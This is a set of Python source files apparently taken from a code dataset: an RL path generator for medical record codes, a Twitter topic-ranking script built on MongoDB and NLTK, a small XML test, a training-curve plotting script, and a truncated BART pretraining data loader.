nn.init.xavier_uniform_(self.b_x.data) # (95,2)\r\n\r\n\r\n self.optimizer = optim.Adam(self.parameters(), lr=args.lr)\r\n\r\n # 传入的是一个batch的数据量\r\n # K表示针对每个hop 选择出前K个最有可能的action\r\n def forward(self,ehrs,hier_labels):\r\n batchPaths=[]\r\n\r\n # 针对batch 中的每个样本(每个电子病历)进行单独的取样\r\n for i in range(len(ehrs)):\r\n example_states=[]\r\n example_rewards=[]\r\n example_done=[]\r\n example_actionIndexs=[]\r\n\r\n # 首先初始化hidden\r\n hidden = torch.Tensor(np.zeros((1,self.args.path_hidden_size))).to(self.args.device)\r\n # 1.得到电子病历的表示\r\n ehrRrep = self.cnn(ehrs[i]) # 放在此处是为了每个样本都重置下环境\r\n self.sequences = [[[self.args.node2id.get('ROOT')], 1.0]] # 根节点\r\n\r\n for hop in range(self.args.hops): # 每个样本的尝试次数(对应于每个样本的标签个数,即路径个数),\r\n # 其实不同路径之间也应该相互影响,已选择的路径要影响到下一个路径开始节点的选择,这个怎么建模呢??\r\n # 输入EHR的,得到G网络生成的路径\r\n\r\n if hop!=0:\r\n hidden=hidden.sum(dim=1)\r\n\r\n # 2.得到attentive的EHR表示\r\n #atten_weights = F.softmax(self.attn(torch.cat((hidden, ehrRrep), 1))) #[1,300]\r\n # attn_ehrRrep = torch.mul(atten_weights, ehrRrep) # [1,300]\r\n #attn_ehrRrep=self.atten(torch.cat((hidden,ehrRrep),1))\r\n # print('hidden:',hidden)\r\n state=F.relu(self.attn(torch.cat((hidden, ehrRrep), 1)))\r\n # print('ehrRrep:',ehrRrep)\r\n # print('attn_ehrRrep:', attn_ehrRrep)\r\n #\r\n # # 3.得到融合了EHR和路径信息的表示,即state的表示\r\n # #state = self.r_x(hidden) * attn_ehrRrep + self.b_x(hidden) # [32, 300], state:[1,300]\r\n # state = torch.mm(hidden,self.r_x)+ attn_ehrRrep\r\n #print('state:',state)\r\n\r\n # 4.首先获得当前跳的action_space空间 然后DQN根据state在该空间中选择action\r\n if hop==0:\r\n children = torch.Tensor(self.level2_parients).long().to(self.args.device)\r\n children_len=torch.Tensor([13]).long().to(self.args.device)\r\n else:\r\n # selected_action作为父节点 选择对应的孩子节点\r\n children,children_len = action_space(selected_action, self.args) # action:[32]\r\n\r\n # print('children.shape:',children.shape) #[1, 101]\r\n # 在选择action 之前 也要执行以下判断,如果children_len中包含有0 说明选择出了叶子节点\r\n\r\n action_values,actions,actionIndexs = self.DQN.act(state,children,children_len)\r\n print('hop:',hop)\r\n # print('actions:',actions)\r\n\r\n\r\n selected_action, actionList=self.beam_search(action_values,actions)\r\n\r\n\r\n # 4.将当前选择的节点和上一步选择的节点(保存在self.actionList中) 输入到path encoder中得到路径的表示\r\n path = self.pathEncoder(selected_action,actionList)\r\n\r\n # 5.将路径表示输入到path Decoder中以更新hidden的表示\r\n path = path.unsqueeze(0)\r\n\r\n output= self.pathDecoder(path)\r\n hidden=self.pathDecoder.hidden\r\n\r\n # 执行这些选择出来的action, 更改环境的变化\r\n reward,done=self.step(actionList,hier_labels[i],hop)\r\n\r\n example_rewards.append(reward)\r\n example_states.append(state)\r\n example_done.append(done)\r\n example_actionIndexs.append(actionIndexs)\r\n\r\n # 最后一个hop之后得到的state(训练时要使用)\r\n hidden = hidden.sum(dim=1)\r\n state = F.relu(self.attn(torch.cat((hidden, ehrRrep), 1)))\r\n example_states.append(state)\r\n\r\n # 将这些数据转换成(state,action,reward,next_state,done)保存到memory中\r\n for i in range(len(example_states)):\r\n example_states[i] = example_states[i].data.cpu().numpy()\r\n\r\n\r\n for i in range(len(example_rewards)):\r\n for j in range(len(example_actionIndexs[i])):\r\n self.DQN.buffer.push(example_states[i],example_actionIndexs[i][j][0],example_rewards[i],example_states[i+1],example_done[i])\r\n\r\n batchPaths.append(actionList)\r\n return batchPaths\r\n\r\n\r\n\r\n def beam_search(self,data,actions_store):\r\n # print('data:',data)\r\n # print('actions_store:',actions_store)\r\n\r\n # 若 选择出的action是叶子节点 则要中断这个路径\r\n\r\n\r\n all_candidates=list()\r\n for sequence,row, actions in zip(self.sequences,data,actions_store):\r\n seq,score=sequence\r\n\r\n for j in range(len(row)):\r\n candidate=[seq+[actions[j].item()],score+row[j].item()]\r\n all_candidates.append(candidate)\r\n\r\n # order all candidates by scores\r\n ordered=sorted(all_candidates,key=lambda tup:tup[1],reverse=True)\r\n # select k best\r\n self.sequences=ordered[:self.args.k]\r\n #print('self.sequences:',self.sequences)\r\n selected_action=[row[0][-1] for row in self.sequences]\r\n print('selected_action:',selected_action)\r\n selected_path=[row[0] for row in self.sequences]\r\n return selected_action,selected_path\r\n\r\n def step(self,actionList,hier_label,hop):\r\n # 对比当前预测出的路径以及真实的路径 设定对应的reward\r\n hop_tures=[]\r\n for row in hier_label:\r\n hop_tures.extend(row)\r\n\r\n for row in actionList:\r\n if row[hop+1] in hop_tures:\r\n reward=1\r\n else:\r\n reward=-1\r\n if hop==3:\r\n done=True\r\n else:\r\n done=False\r\n\r\n return reward,done\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nclass VanillaConv(nn.Module):\r\n def __init__(self,args,vocab_size):\r\n super(VanillaConv, self).__init__()\r\n self.args=args\r\n chanel_num = 1\r\n filter_num = self.args.num_filter_maps\r\n filter_sizes = [3,5,7]\r\n\r\n self.embedding = nn.Embedding(vocab_size,args.cnn_embedding_size)\r\n self.conv1 = nn.ModuleList([nn.Conv2d(chanel_num, filter_num, (filter_size,self.args.cnn_embedding_size)) for filter_size in filter_sizes])\r\n self.dropout1 = nn.Dropout(self.args.dropout_rate)\r\n\r\n def forward(self, x):\r\n # 将每个电子病历转化成Tensor对象\r\n x=torch.Tensor([x]).long().to(self.args.device)\r\n x = self.embedding(x)\r\n #print('x:',x.shape)\r\n x = x.unsqueeze(1) #[batch_size,1,200,emb_size]\r\n #print('x_unsequeeze:',x.shape)\r\n #print(F.relu(self.convs[0](x)).shape) # 每个不同的filter卷积之后为:[batch_size,32,198,1],[batch_size,32,197,1],[batch_size,32,196,1]\r\n #print('x:',x.shape) #[49, 1, 100]\r\n # 多通道的图卷积操作(单层卷积)\r\n x=[F.relu(conv(x),inplace=True) for conv in self.conv1]\r\n\r\n x_ = [item.squeeze(3) for item in x]\r\n x_ = [F.max_pool1d(item, item.size(2)).squeeze(2) for item in x_]\r\n x_ = torch.cat(x_, 1)\r\n x_ = self.dropout1(x_)\r\n return x_\r\n\r\n# 对选择出的路径进行编码,返回路径的表示\r\n# 目前的做法是:将当前的节点以及上一步的节点以及中间的边作为当前时刻的路径\r\nclass PathEncoder(nn.Module):\r\n def __init__(self,args,g):\r\n self.args=args\r\n super(PathEncoder, self).__init__()\r\n\r\n self.embedding=nn.Embedding(len(args.node2id),args.node_embedding_size)\r\n self.gcn=GCNNet()\r\n self.w_path=nn.Linear(args.node_embedding_size*2,args.node_embedding_size)\r\n self.embedding.weight = nn.Parameter(self.gcn(g, self.embedding.weight))\r\n\r\n def forward(self,current_node,actionList):\r\n #通过两个节点的表示得到路径的表示\r\n # print(type(self.embedding.weight)) #'torch.nn.parameter.Parameter'\r\n # print(type(self.gcn(g,self.embedding.weight))) # 'torch.Tensor'\r\n #print('g:', g)\r\n # 从node embedding列表中选择出对应节点的embedding\r\n # print('current_node:',current_node) #[32]\r\n # print([row[-1] for row in action_list])\r\n\r\n last_node=torch.Tensor([row[-2] for row in actionList]).long().to(self.args.device)\r\n\r\n print('last_node_id:', last_node)\r\n current_node=torch.Tensor(current_node).long().to(self.args.device)\r\n print('current_node_id:', current_node)\r\n current_node=self.embedding(current_node)\r\n last_node=self.embedding(last_node)\r\n\r\n # print('current_node:',current_node.shape) # [1,5,100]\r\n # print('last_node:',last_node.shape) #[5,1,100]\r\n #通过两个节点最终得到输入路径的表示\r\n path=self.w_path(torch.cat((current_node,last_node),dim=1))\r\n return path\r\n\r\nclass PathDecoder(nn.Module):\r\n def __init__(self,args):\r\n self.args=args\r\n super(PathDecoder, self).__init__()\r\n self.hidden_size=args.path_hidden_size\r\n self.max_length=args.hops\r\n\r\n self.gru=nn.GRU(self.hidden_size,self.hidden_size)\r\n self.hidden=self.initHidden(args)\r\n\r\n # 其中x是对路径编码之后的表示 所以不需要再进行embedding\r\n def forward(self,input): # 其中input为decoder_input,hidden为decoder_hidden\r\n #print('before-self.hidden:',self.hidden)\r\n #print('input:',input)\r\n output,self.hidden=self.gru(input,self.hidden)\r\n #print('after-self.hidden:', self.hidden)\r\n return output\r\n\r\n def initHidden(self,args):\r\n hidden = torch.zeros((1,self.args.k,args.path_hidden_size))\r\n hidden = torch.Tensor(hidden).to(args.device)\r\n return hidden\r\n\r\nclass selfAttention(nn.Module):\r\n def __init__(self,hidden_dim):\r\n super(selfAttention, self).__init__()\r\n self.hidden_dim=hidden_dim\r\n self.projection=nn.Sequential(\r\n nn.Linear(hidden_dim,128),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(128,1)\r\n )\r\n def forward(self,encoder_outputs):\r\n\r\n #(L,H)-->(L,1)\r\n energy=self.projection(encoder_outputs)\r\n weights=F.softmax(energy.squeeze(-1),dim=-1)\r\n #(L,1)*(L,1)--> (B,H)\r\n outputs=(encoder_outputs*weights.unsqueeze(-1)).sum(dim=1)\r\n return outputs\r\n\r\ndef action_space(parients,args):\r\n # 根据parient 找到属于他的孩子节点 注意是一个batch的样本\r\n # 直接从adj中找出 该parient对应的行\r\n # parient:[1448,1881,5284,3002,4694]\r\n #adj=torch.Tensor(args.adj).to(args.device) #[9140,9140]\r\n children=[torch.nonzero(row) for row in args.adj[parients]]\r\n children_len = [len(row) for row in children]\r\n for i in range(len(children)):\r\n children[i]=[item[0].cpu().item() for item in children[i]]\r\n #mask\r\n children[i]=children[i]+[0]*(args.max_children_num-len(children[i]))\r\n #print('children:',children)\r\n #转换成tensor对象\r\n children=torch.Tensor(children).long()\r\n children_len=torch.Tensor(children_len).long()\r\n return children,children_len\r\n\r\nclass Attn(nn.Module):\r\n def __init__(self):\r\n super(Attn, self).__init__()\r\n pass\r\n\r\n def forward(self):\r\n pass\r\n\r\n\r\ndef run_pre_train_step(gen_model,current_batch):\r\n ehrs=[example.ehr for example in current_batch]\r\n labels=[example.labels for example in current_batch]\r\n hier_labels=[example.hier_labels for example in current_batch]\r\n batchPathes=gen_model(ehrs,hier_labels)\r\n print('batchPathes:',batchPathes)\r\n #print('labels:',labels)\r\n print('hier_labels:',hier_labels)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"pathGeneration-v2/Analysis/code-v2/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":13962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"368646131","text":"import json\nimport string\nimport re\nfrom pymongo import MongoClient\nfrom bson.json_util import loads, dumps\nfrom nltk.corpus import stopwords \nfrom nltk.tokenize import word_tokenize \nfrom stop_words import get_stop_words\nfrom nltk.tokenize import RegexpTokenizer\nimport nltk\nimport importlib\n#import t\nimport twitter\nfrom t import *\nfrom utility2 import *\nimport operator\nimport enchant\nl=2\nd=.8\n\n#dic1 = enchant.Dict('en_US')\n#dic2 = enchant.Dict('en_UK')\n\nclient = MongoClient()\ndb = client['leo_tweets']\ncollection_tweets = db['leo_tweets']\n#record2 = loads('osmar_tweets_no_rt.json')\ndata = []\nwith open ('Leo/leo_tweets.json') as f:\n for line in f:\n data.append(json.loads(line))\n\ndb.collection_tweets.insert_many(data)\n#print(db.collection_tweets.index_information())\n\n\nresult = db.collection_tweets.find({},{\"_id\": 0, 'text': 1, 'entities': 1 })\ntId = db.collection_tweets.find({},{\"_id\": 0, 'id_str': 1 })\n\n#while(1):\n # try:\n # record = result.next()\n # print(record['text'])\n # except StopIteration:\n # print(\"Empty cursor!\")\n #break\ntopic = {}\nhub = {}\nstop_words = list(get_stop_words('en')) #Have around 900 stopwords\nnltk_words = list(stopwords.words('english')) #Have around 150 stopwords\nnltk_words.append('rt')\nstop_words.extend(nltk_words)\nbgrmtoken = []\nfor tx in result[:100]:\n text = tx['text']\n \n htag = []\n\n ##******************#############\n if 'entities' in tx:\n htag = tx['entities']['hashtags']\n\n ##******************#############\n text = re.sub(r'[^\\w\\s]','',text)\n tokens = word_tokenize(text)\n\n \n\n \n\n ##******************#############\n for ht in htag:\n htv = re.sub(r'[^\\w\\s]','',ht['text'])\n if((htv in tokens)==False): \n tokens.append(htv)\n ##******************#############\n\n #output = []\n for words in tokens:\n words = words.lower()\n #if(((words in topic) == False) and ((words in nltk.corpus.words.words())==True)):\n if(((words in topic) == False)):# and ((dic1.check(words)==True) or (dic2.check(words)==True))):\n pos = nltk.pos_tag([words])\n #print(pos)\n if (((words in stop_words)==False) and (pos[0][1]=='NN' or pos[0][1]=='NNS' or pos[0][1]=='NNP' or pos[0][1]=='NNPS' or pos[0][1]=='VBG')):\n topic[words] = d\n hub[words] = d\n bgrmtoken.append(words)\n # else:\n #print(words)\n\n\n############*********************#############\nbigrm = list(nltk.bigrams(bgrmtoken))\n\nfor item in bigrm:\n newtp = item[0] + item[1]\n newtp = newtp.lower()\n if ((newtp in topic)==False):\n topic[newtp] = d\n if ((newtp in hub)==False):\n hub[newtp] = d\n############*********************#############\n \n#print(topic)\nfor key in topic:\n topic[key] = topic[key]/(2* len(topic.keys()))\n hub[key] = hub[key]/(2* len(topic.keys()))\n\n\n\napi = twitter.Api(\n consumer_key=CONSUMER_KEY, consumer_secret=CONSUMER_SECRET, access_token_key= ACCESS_TOKEN_KEY, access_token_secret=ACCESS_TOKEN_SECRET\n )\n\n#print(hub)\n\nrts = []\nwith open('Leo/leo_rtweeters.txt', 'r') as f:\n for line in f:\n line = line[:-1]\n if((line in rts)==False):\n rts.append(line)\n \n\n\n#print (rts[0])\n#retweets = json.dumps(rts._json)\n#loaded_json = json.loads(retweets)\n#for rtid in rts:\n# retweets = json.dumps(rtid._json)\n# rteets = json.loads(retweets)\n# print(rteets['user']['screen_name'])\n# screen_name = rteets['user']['screen_name']\n# break\nNt = len(topic.keys())\n\n######################\nfor rtid in rts:\n topic = getUpdatedWeights3(topic, d,1, l, rtid, api,1, 1, Nt)\n \n#####################\nrts = []\nwith open('Leo/leo_rtweets.txt', 'r') as f:\n for line in f:\n line = line[:-1]\n if((line in rts)==False):\n rts.append(line)\nfor rtid in rts:\n hub = getUpdatedWeights4(hub, d,1, l, rtid, api,1, 1, Nt)\n\n#print(Nt)\n\n#tp = sorted(topic.items(), key = lambda kv:(kv[1], kv[0])) \ncnt =0\ntp= {}\nfor key in topic:\n #print(key)\n #print(tp[key])\n if (topic[key]>=1/(2*Nt)):\n tp[key] = topic[key]*100000\n #else:\n #print((1/(2*Nt))-topic[key])\n cnt = cnt + 1\n\ncnt =0\nhb= {}\nfor key in hub:\n #print(key)\n #print(tp[key])\n if (hub[key]>=1/(2*Nt)):\n hb[key] = hub[key]*100000\n # else:\n # print((1/(2*Nt))-hub[key])\n cnt = cnt + 1\n #if(cnt>20):\n #break\n#print(sorted(tp.items(), key = lambda kv:(kv[1], kv[0])) )\nsorted_x = sorted(tp.items(), key=operator.itemgetter(1))\nprint(\"Authoritative:\")\nprint(sorted_x)\n\n#print(hub)\nsorted_x = sorted(hb.items(), key=operator.itemgetter(1))\nprint(\"HUB:\")\nprint(sorted_x)\n\n\nclient.close()","sub_path":"Mongotrial2.py","file_name":"Mongotrial2.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"626445063","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# __author__ = \"Wllen\"\n# Date: 2018/6/23\n\nimport xml.etree.ElementTree as ET\ntree = ET.parse(\"xml_test\")\nroot = tree.getroot()\nprint(dir(root))\n# for child in root:\n# print(child.tag, child.attrib)\n# for i in child:\n# print(i.tag, i.text)\n# #只遍历year 节点\n# for node in root.iter('year'):\n# print(node.tag, node.text)","sub_path":"test/xml_modle.py","file_name":"xml_modle.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"260453695","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 24 21:19:12 2021\n\n@author: daniyalusmani1\n\"\"\"\nimport pandas as pd\nimport argparse\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\n\ndataset = \"ai_crop\" # \"crop\"\nexp2lstmBase = [\n \"2-lstm-crop-noise-0.3-epoch-5000-dac-learning-epoch-40-lr-0.001-iter2\", \n \"2-lstm-crop-noise-0.5-epoch-5000-dac-learning-epoch-100-lr-0.001-iter2\",\n \"2-lstm-crop-noise-0.75-epoch-5000-dac-learning-epoch-400-lr-0.001-iter3\"\n ]\n\nexp2inceptionBase = [\n \"inception-simple-crop-noise-0.3-epoch-300-dac-learning-epoch-50-lr-0.1-iter2\",\n \"inception-simple-crop-noise-0.5-epoch-500-dac-learning-epoch-150-lr-0.1-iter2\",\n \"inception-simple-crop-noise-0.75-epoch-500-dac-learning-epoch-150-lr-0.1-iter3\"\n ]\n\nexp2lstmBaseWithoutAbstension = [\n \"2-lstm-crop-noise-0.3-epoch-5000-dac-learning-epoch-40-lr-0.001-without-abstained-iter2\",\n \"2-lstm-crop-noise-0.5-epoch-4500-dac-learning-epoch-100-lr-0.001-without-abstained-iter2\",\n \"2-lstm-crop-noise-0.75-epoch-5000-dac-learning-epoch-400-lr-0.001-without-abstained-iter3\"\n ]\n\nexp3lstmBase = [\n \"2-lstm-ai_crop-epoch-5000-dac-learning-epoch-250-lr-0.1-pow_0.2-240_1-iter3\",\n ]\n\n\n\n\nexp3inception = [\n \"inception-simple-ai_crop-epoch-800-dac-learning-epoch-10-lr-0.0001-iter3\",\n ]\n\n\ndef getValLossDataForExp(experiment):\n rootPath = 'results/' + dataset + '/' + experiment + '/loss'\n script_dir = os.path.dirname(os.path.realpath('__file__'))\n abs_file_path = os.path.join(script_dir, rootPath)\n valLoss = abs_file_path + '/' + experiment + '.val-loss.npy'\n return valLoss\n \ndef getValF1DataForExp(experiment):\n rootPath = 'results/' + dataset + '/' + experiment + '/f1score'\n script_dir = os.path.dirname(os.path.realpath('__file__'))\n abs_file_path = os.path.join(script_dir, rootPath)\n valF1Score = abs_file_path + '/' + experiment + '.val-f1score.npy'\n return valF1Score\n\ndef getValF1WithoutAbstainedDataForExp(experiment):\n rootPath = 'results/' + dataset + '/' + experiment + '/f1score'\n script_dir = os.path.dirname(os.path.realpath('__file__'))\n abs_file_path = os.path.join(script_dir, rootPath)\n valF1Score = abs_file_path + '/' + experiment + '.val-f1score-without-abstained.npy'\n return valF1Score\n\ndef getTrainF1WithoutAbstainedDataForExp(experiment):\n rootPath = 'results/' + dataset + '/' + experiment + '/f1score'\n script_dir = os.path.dirname(os.path.realpath('__file__'))\n abs_file_path = os.path.join(script_dir, rootPath)\n valF1Score = abs_file_path + '/' + experiment + '.train-f1score-without-abstained.npy'\n return valF1Score\n\ndef getMovingAverageOfSeries(series, window):\n numbers_series = pd.Series(series)\n windows = numbers_series.rolling(window)\n moving_averages = windows.mean()\n\n moving_averages_list = moving_averages.tolist()\n without_nans = moving_averages_list[window - 1:]\n return without_nans\n \n\ndef generatePlot(experiments, plotType, architectureType, fileName):\n windowSize = 15\n plt.rc('xtick', labelsize=14)\n plt.rc('ytick', labelsize=14) \n plt.rc('axes', labelsize=14)\n for (exp, noiseLevel,color) in experiments:\n file = np.load(exp, allow_pickle=True)\n if noiseLevel == 0:\n plt.plot(getMovingAverageOfSeries(file, windowSize), color)\n else:\n plt.plot(getMovingAverageOfSeries(file, windowSize), color, label = '%s'%(str(noiseLevel)))\n plt.legend(loc='upper right', fontsize='x-small')\n #plt.plot(file, color, label = '%s'%(str(noiseLevel)))\n\n plt.xlabel('Epochs')\n plt.ylabel(plotType)\n\n plt.savefig('results/plots/experiment-3-ma15-epoch-800-%s-%s.jpg'%(architectureType, fileName), dpi = 1080, format='jpeg')\n plt.close()\n\n#generatePlot(zip([getValLossDataForExp(exp) for exp in exp2lstmBase], [0.3,0.5,0.75], ['g-','r--','b-.']), 'Loss', \"lstm\", 'loss')\n#generatePlot(zip([getValF1DataForExp(exp) for exp in exp2lstmBase], [0.3,0.5,0.75], ['g-','r--','b-.']), 'F1 score', \"lstm\", 'f1score')\n#generatePlot(zip([getValF1WithoutAbstainedDataForExp(exp) for exp in exp2lstmBaseWithoutAbstension], [0.3,0.5,0.75], ['g-','r--','b-.']), 'F1 score pruned', \"lstm\", \"f1score-without-abstained\")\n#generatePlot(zip([getTrainF1WithoutAbstainedDataForExp(exp) for exp in exp2lstmBaseWithoutAbstension], [0.3,0.5,0.75], ['g-','r--','b-.']), 'F1 score pruned', \"lstm\", 'train-f1score-without-abstained')\n\n#generatePlot(zip([getValLossDataForExp(exp) for exp in exp2inceptionBase], [0.3,0.5,0.75], ['g-','r--','b-.']), 'Loss', \"inception\", 'loss')\n#generatePlot(zip([getValF1DataForExp(exp) for exp in exp2inceptionBase], [0.3,0.5,0.75], ['g-','r--','b-.']), 'F1 score', \"inception\", 'f1score')\n#generatePlot(zip([getValF1WithoutAbstainedDataForExp(exp) for exp in exp2inceptionBase], [0.3,0.5,0.75], ['g-','r--','b-.']), 'F1 score Pruned', \"inception\", 'f1score-without-abstained')\n#generatePlot(zip([getTrainF1WithoutAbstainedDataForExp(exp) for exp in exp2inceptionBase], [0.3,0.5,0.75], ['g-','r--','b-.']), 'F1 score pruned', \"inception\", 'train-f1score-without-abstained')\n\n\n#generatePlot(zip([getValLossDataForExp(exp3lstmBase[0])], [0], ['g-','r--','b-.']), 'Loss', \"lstm\", 'loss')\n#generatePlot(zip([getValF1DataForExp(exp3lstmBase[0])], [0], ['g-','r--','b-.']), 'F1 score', \"lstm\", 'f1score')\n#generatePlot(zip([getValF1WithoutAbstainedDataForExp(exp3lstmBase[0]),getTrainF1WithoutAbstainedDataForExp(exp3lstmBase[0])], [\"F1score Val\", \"F1score Train\"], ['g-','b-.']), 'F1 score pruned', \"lstm\", \"train-val-f1score-without-abstained\")\n#generatePlot(zip([getTrainF1WithoutAbstainedDataForExp(exp) for exp in exp3inception], [], ['g-','r--','b-.']), 'F1 score pruned', \"inception\", 'train-f1score-without-abstained')\n\n\n\ngeneratePlot(zip([getValLossDataForExp(exp3inception[0])], [0], ['g-','r--','b-.']), 'Loss', \"inception\", 'loss')\ngeneratePlot(zip([getValF1DataForExp(exp3inception[0])], [0], ['g-','r--','b-.']), 'F1 score', \"inception\", 'f1score')\ngeneratePlot(zip([getValF1WithoutAbstainedDataForExp(exp3inception[0]),getTrainF1WithoutAbstainedDataForExp(exp3inception[0])], [\"F1score Val\", \"F1score Train\"], ['g-','b-.']), 'F1 score pruned', \"inception\", \"train-val-f1score-without-abstained\")\n#generatePlot(zip([getTrainF1WithoutAbstainedDataForExp(exp) for exp in exp3inception], [], ['g-','r--','b-.']), 'F1 score pruned', \"inception\", 'train-f1score-without-abstained')\n\n\n\n","sub_path":"dac-noise/tsc-dac-validation-plots.py","file_name":"tsc-dac-validation-plots.py","file_ext":"py","file_size_in_byte":6444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"581760886","text":"import os\nimport logging\nimport json\n\nimport gzip\nimport time\nimport random\nimport numpy as np\nimport torch\nfrom torch.utils.data import random_split\nfrom torch.nn.utils.rnn import pad_sequence\n\nfrom transformers import BartTokenizer\nfrom typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Union\n# from run_pretrain import args\n\nlogger = logging.getLogger(__name__)\n\nMAX_SENT_LEN = 256\n\nTokenizer = BartTokenizer.from_pretrained('facebook/bart-base')\n\ndef Traverse_dir(rootDir, total_files=[]):\n for root,dirs,files in os.walk(rootDir):\n for file in files:\n if file.endswith('.jsonl.gz'):\n total_files.append(os.path.join(root,file))\n for dir in dirs:\n Traverse_dir(dir)\n\ndef batch_convert_ids_to_tensors(batch_token_ids: List[List]) -> torch.Tensor:\n\n bz = len(batch_token_ids)\n batch_tensors = [torch.LongTensor(batch_token_ids[i]).squeeze(0) for i in range(bz)]\n batch_tensors = pad_sequence(batch_tensors, True, padding_value=Tokenizer.pad_token_id).long()\n return batch_tensors\n\ndef get_re_sample_rate(step, total_steps, start=0.5, end=0.5):\n return start + (end - start) / total_steps * step\n\nstep = 0\nmax_steps = 1000000\ndef choice_prompt_task():\n global step\n global total_steps\n rate = get_re_sample_rate(step, max_steps)\n step += 1\n\n if random.random() < rate:\n return 're'\n else:\n return 'ner'\n\ndef data_collator(features:List[dict])->List[torch.Tensor]:\n '''\n defining collator functioon for preparing batches on the fly ..\n\n params {\n features:\n }\n return {\n batch: \n }\n '''\n batch = dict()\n batch['mask_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"mask_encoder_input\"] for f in features])\n batch['origin_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"origin_encoder_input\"] for f in features])\n batch['origin_decoder_inputs'] = batch_convert_ids_to_tensors([f[\"origin_decoder_input\"] for f in features])\n batch['lm_labels'] = batch_convert_ids_to_tensors([f[\"lm_label\"] for f in features])\n \n batch['prompt_task'] = choice_prompt_task()\n if batch['prompt_task'] == 're':\n batch['prompt_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"re_encoder_input\"] for f in features])\n batch['prompt_decoder_inputs'] = batch_convert_ids_to_tensors([f[\"re_decoder_input\"] for f in features])\n batch['prompt_labels'] = torch.LongTensor([f[\"r_label\"] for f in features])\n batch['pos_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"pos_re_encoder_input\"] for f in features])\n batch['pos_decoder_inputs'] = batch_convert_ids_to_tensors([f[\"pos_re_encoder_input\"] for f in features])\n batch['neg_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"neg_re_encoder_input\"] for f in features])\n batch['neg_decoder_inputs'] = batch_convert_ids_to_tensors([f[\"neg_re_encoder_input\"] for f in features])\n elif batch['prompt_task'] == 'ner':\n batch['prompt_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"ner_encoder_input\"] for f in features])\n batch['prompt_decoder_inputs'] = batch_convert_ids_to_tensors([f[\"ner_decoder_input\"] for f in features])\n batch['prompt_labels'] = torch.LongTensor([f[\"e_label\"] for f in features])\n batch['pos_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"pos_ner_encoder_input\"] for f in features])\n batch['pos_decoder_inputs'] = batch_convert_ids_to_tensors([f[\"pos_ner_encoder_input\"] for f in features])\n batch['neg_encoder_inputs'] = batch_convert_ids_to_tensors([f[\"neg_ner_encoder_input\"] for f in features])\n batch['neg_decoder_inputs'] = batch_convert_ids_to_tensors([f[\"neg_ner_encoder_input\"] for f in features])\n return batch\n\ndef load_data(args):\n logger.info('Begin to load data ...')\n data_files = []\n Traverse_dir(args.data_dir, data_files)\n random.shuffle(data_files)\n \n logger.info('total data files: [%d]' % len(data_files))\n\n # splitting dataset into train, validation\n split = 0.95\n random.shuffle(data_files)\n # train_files = data_files[:int(len(data_files)*split)]\n # eval_files = data_files[int(len(data_files)*split):]\n train_files = data_files[:-1]\n eval_files = data_files[-1:]\n logger.info('train data files: [%d]' % len(train_files))\n logger.info('train eval files: [%d]' % len(eval_files))\n\n train_dataset = WikiDataset(train_files, 5, 100000, args=args)\n # eval_dataset = WikiDataset(eval_files, len(eval_files), 100000, args=args)\n # train_dataset = WikiDataset(train_files[:3], 2, 1000, args=args)\n eval_dataset = WikiDataset(eval_files[-1:], 1, 10000, args=args)\n\n return train_dataset, eval_dataset\n\nclass TripletData():\n def __init__(self, triplet_file, entity_file, relation_file):\n self.triplet_file = triplet_file\n self.entity_file = entity_file\n self.relation_file = relation_file\n self._load_entity_data()\n self._load_relation_data()\n self._load_triplet_data()\n\n def _load_relation_data(self):\n self.relation_dict = dict()\n with open(self.relation_file, 'r', encoding='utf-8') as fr:\n lines = fr.readlines()\n for line in lines:\n line = line.lower()\n data = line.strip().split('\\t')\n assert len(data) >= 2\n self.relation_dict[data[0]] = data[1]\n \n def _load_entity_data(self):\n self.entity_dict = dict()\n with open(self.entity_file, 'r', encoding='utf-8') as fe:\n lines = fe.readlines()\n for line in lines:\n line = line.lower()\n data = line.strip().split('\\t')\n assert len(data) >= 2\n for e in data[1:]:\n self.entity_dict[e] = data[0]\n \n def _load_triplet_data(self):\n self.triplet_dict = dict()\n with open(self.triplet_file, 'r', encoding='utf-8') as ft:\n lines = ft.readlines()\n for line in lines:\n line = line.lower()\n data = line.strip().split('\\t')\n assert len(data) == 3\n\n if data[1] not in self.relation_dict:\n continue\n self.triplet_dict[(data[0],data[2])] = self.relation_dict[data[1]]\n \n def __len__(self):\n return len(self.triplet_dict)\n \n def find_relation(self, ohead, otail):\n head = ohead.lower()\n tail = otail.lower()\n if head not in self.entity_dict or tail not in self.entity_dict:\n return None\n head_id = self.entity_dict[head]\n tail_id = self.entity_dict[tail]\n if (head_id, tail_id) in self.triplet_dict:\n return (ohead, otail, self.triplet_dict[(head_id, tail_id)], 1)\n elif (tail_id, head_id) in self.triplet_dict:\n return (otail, ohead, self.triplet_dict[(tail_id, head_id)], 1)\n else:\n return None\n\nclass WikiDataset(torch.utils.data.Dataset):\n\n def __init__(self, \n filepaths: list,\n bio_filepaths: list=[], \n windows_size: int=10, \n data_length_per_file: int=10000, \n triplet_data: TripletData=None, \n eType: dict=None,\n negative_rate: int=5,\n args: dict=None):\n\n self.filepaths = filepaths\n self.bio_filepaths = bio_filepaths\n self.texts = []\n self.bio_texts = []\n\n self.windows_size = windows_size\n self.current_index = 0\n self.current_data_length = 0\n 